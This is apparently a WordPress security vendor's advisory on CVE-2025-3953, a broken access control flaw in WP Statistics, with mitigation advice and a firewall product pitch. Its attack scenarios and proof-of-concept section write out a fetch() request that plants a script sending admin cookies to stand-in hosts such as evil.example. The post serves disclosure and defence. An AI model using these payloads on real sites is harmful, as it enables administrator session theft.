[CVE-2025-3953] WP Statistics – Protect Your WordPress Site from Plugin Settings Exploit

Deep Dive: Subscriber-Level Broken Access Control in WP Statistics (≤14.13.3)

As WordPress site owners and administrators, we count on privacy-focused analytics plugins like WP Statistics to give us meaningful insights into visitor behavior. But on April 29, 2025, a 🚨 BROKEN ACCESS CONTROL 🚨 vulnerability was disclosed in versions ≤14.13.3 of WP Statistics that allows an AUTHENTICATED SUBSCRIBER to update ARBITRARY PLUGIN SETTINGS. This post explains the flaw, shows real-world attack scenarios, and offers comprehensive guidance to keep your site safe—plus how WP-FIREWALL can help you stay protected today.

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Table of Contents

1. What Is Broken Access Control?
2. The WP Statistics Vulnerability (CVE-2025-3953)Vulnerable Code Path
   Required Privileges
3. Risk and ImpactArbitrary Settings Update
   Potential Attack Scenarios
   CVSS Score & OWASP Classification
4. Proof of Concept Walkthrough
5. Mitigation and Remediation
6. Best Practices to Harden WordPress
7. How WP-Firewall Shields YouKey Features
   Plan Comparison
8. Strengthen Your Site with Essential Protection
9. Conclusion

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What Is Broken Access Control?

BROKEN ACCESS CONTROL occurs when an application does not properly verify that a user has permission to perform a given operation. This can include missing checks for:

• AUTHENTICATION (is the user logged in?)
• AUTHORIZATION (does the user have the right role/capability?)
• NONCE or CSRF tokens (to prevent forged requests)

In WordPress, well-written plugins enforce capability checks (e.g., current_user_can( 'manage_options' )) and use nonces to protect sensitive actions. However, the vulnerability in WP Statistics removes or weakens these checks for some admin-level settings, allowing even a subscriber to push arbitrary changes.

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The WP Statistics Vulnerability (CVE-2025-3953)

Software: WP Statistics
Vulnerable Versions: ≤ 14.13.3
Fixed in: 14.13.4
Type: Broken Access Control
Required Privilege: Subscriber
Patch Priority: Low
CVSS Score: 5.4 (Medium)

Vulnerable Code Path

In versions ≤ 14.13.3, WP Statistics registers an AJAX action—for example:

add_action( 'wp_ajax_wps_update_settings', [ $this, 'update_settings' ] );

Inside the handler, the plugin updates options based on submitted data:

public function update_settings() {
   // Missing capability check!
   // Missing nonce verification!
   $new_settings = $_POST['settings'];
   update_option( 'wp_statistics_settings', $new_settings );
   wp_send_json_success();
}

Because there is NO call to check_ajax_referer() or current_user_can(), ANY LOGGED-IN USER, including subscribers, can send a POST request to admin-ajax.php?action=wps_update_settings with arbitrary settings.

Required Privileges

• ROLE: Subscriber (minimum)
• AUTHENTICATION: Must be logged in
• NONCE: Not enforced

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Risk and Impact

Arbitrary Settings Update

An attacker with a subscriber account can manipulate plugin settings such as:

• Tracking code insertion (e.g., JavaScript payloads)
• Data retention policies (exfiltrate visitor logs)
• Email reporting addresses (redirect analytics reports)

By injecting malicious JavaScript into the tracking settings, they can:

1. STEAL ADMINISTRATIVE SESSION COOKIES via XSS.
2. EXFILTRATE FORM INPUTS from unsuspecting admin users.
3. HIJACK ANALYTICS DATA to cover tracks or mislead site owners.

Potential Attack Scenarios

1. Escalation to XSSAttacker inserts fetch('https://evil.com/log?c='+document.cookie) in custom header field.
   Admin dashboard pages render the payload, and cookies are sent to the attacker.
2. Credential HarvestingChange password retrieval or reset emails to an attacker-controlled address.
   Tamper with email templates to embed a phishing form.
3. Business Logic AbuseDisable tracking for certain pages.
   Alter data retention times to delete evidence of malicious activity.

CVSS Score & OWASP Classification

• CVSS v3.1 Base Score: 5.4 (Medium)
• OWASP Top 10 Category: A5 – Broken Access Control

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Proof of Concept Walkthrough

Below is a simplified proof of concept (PoC) to demonstrate the flaw. DO NOT TEST THIS ON PRODUCTION SITES—always work in a controlled environment.

1. Create a Subscriber User
   In your WordPress dashboard, add a new user with the Subscriber role.
2. Log In as Subscriber & Capture Cookies
   Open your browser’s developer tools and authenticate using the subscriber account.
3. Send Malicious AJAX Request
   In the console, execute:

fetch('/wp-admin/admin-ajax.php?action=wps_update_settings', {
   method: 'POST',
   credentials: 'include',
   headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
   body: 'settings[custom_header]=fetch("https://evil.example/steal?c="+document.cookie)'
})
.then(res => res.json())
.then(console.log);

1. Observe the Payload Execution
   Log out, log back in as an Administrator, then navigate to any page that renders the custom header. The injected JavaScript will run and exfiltrate your admin cookie.

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Mitigation and Remediation

1. Immediate UpdateWP Statistics 14.13.4 addresses this issue by adding both nonce verification and capability checks.
   Always update to the latest plugin versions promptly.
2. Review User RolesLimit Subscriber accounts to only trusted users.
   Periodically audit user lists and remove stale or unknown accounts.
3. Implement a Web Application Firewall (WAF)A WAF can intercept malicious AJAX calls and block unauthorized parameter changes.
   Even if an attacker authenticates, the WAF rules will prevent the exploit.
4. Harden with Nonces & CapabilitiesPlugin authors should always use check_ajax_referer( 'wps_update_settings_nonce', 'security' ).
   Enforce current_user_can( 'manage_options' ) before processing.

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Best Practices to Harden WordPress

Beyond patching this specific vulnerability, follow these site-hardening measures:

• Principle of Least Privilege: Only assign capabilities needed for each user.
• Two-Factor Authentication (2FA): Add 2FA to all admin and editor accounts.
• Strong Password Policies: Use complex passwords and enforce regular rotations.
• Limit Login Attempts: Throttle repeated login failures to mitigate credential guessing.
• Regular Security Audits: Scan your site for outdated plugins, malware, and misconfigurations.
• Database Backups & Monitoring: Maintain daily backups and log unusual option changes.

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How WP-Firewall Shields You

Even in cases where a plugin release lags behind the discovery of a vulnerability, WP-FIREWALL steps in to protect your site:

Key Features

• MANAGED FIREWALL & WAF: Pre-built rules to detect and block BROKEN ACCESS CONTROL exploits.
• UNLIMITED BANDWIDTH & PERFORMANCE: High-performance edge filtering without slowing your site.
• MALWARE SCANNER & VIRTUAL PATCHING: Scan daily for malicious files and auto-apply virtual patches to block known exploits.
• COMPREHENSIVE OWASP TOP 10 MITIGATION: From injection to broken access control, we cover critical risk areas.
• ROLE-BASED ANOMALY DETECTION: Alerts if a low-privileged role attempts to perform admin-level actions.

Plan Comparison

Feature	Basic (Free)	Standard ($50/yr)	Pro ($299/yr)
Managed Firewall + WAF	✓	✓	✓
Malware Scanner & Alerts	✓	✓	✓
OWASP Top 10 Mitigation	✓	✓	✓
Automatic Malware Removal	—	✓	✓
IP Blacklist/Whitelist	—	(20 IPs)	Unlimited
Monthly Security Reports	—	—	✓
Auto Vulnerability Patching	—	—	✓
Premium Add-ons	—	—	Dedicated Manager & More

Strengthen Your Site with Essential Protection

With so many known vulnerabilities lurking in popular plugins, your site needs an additional layer of defense. Start with our BASIC (FREE) PLAN today for:

• Managed firewall & WAF
• Malware scanning and OWASP Top 10 mitigation
• Unlimited bandwidth with no performance impact

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Conclusion

The BROKEN ACCESS CONTROL flaw in WP Statistics ≤ 14.13.3 underscores the reality that even privacy-centric plugins can harbor critical security gaps. By understanding the risk, applying prompt updates, enforcing least-privilege policies, and deploying a robust Web Application Firewall like WP-FIREWALL, you can dramatically reduce the attack surface of your WordPress site. Stay vigilant, keep your plugins current, and let WP-FIREWALL provide an always-on shield so you can focus on growing your online presence—without the worry of hidden vulnerabilities.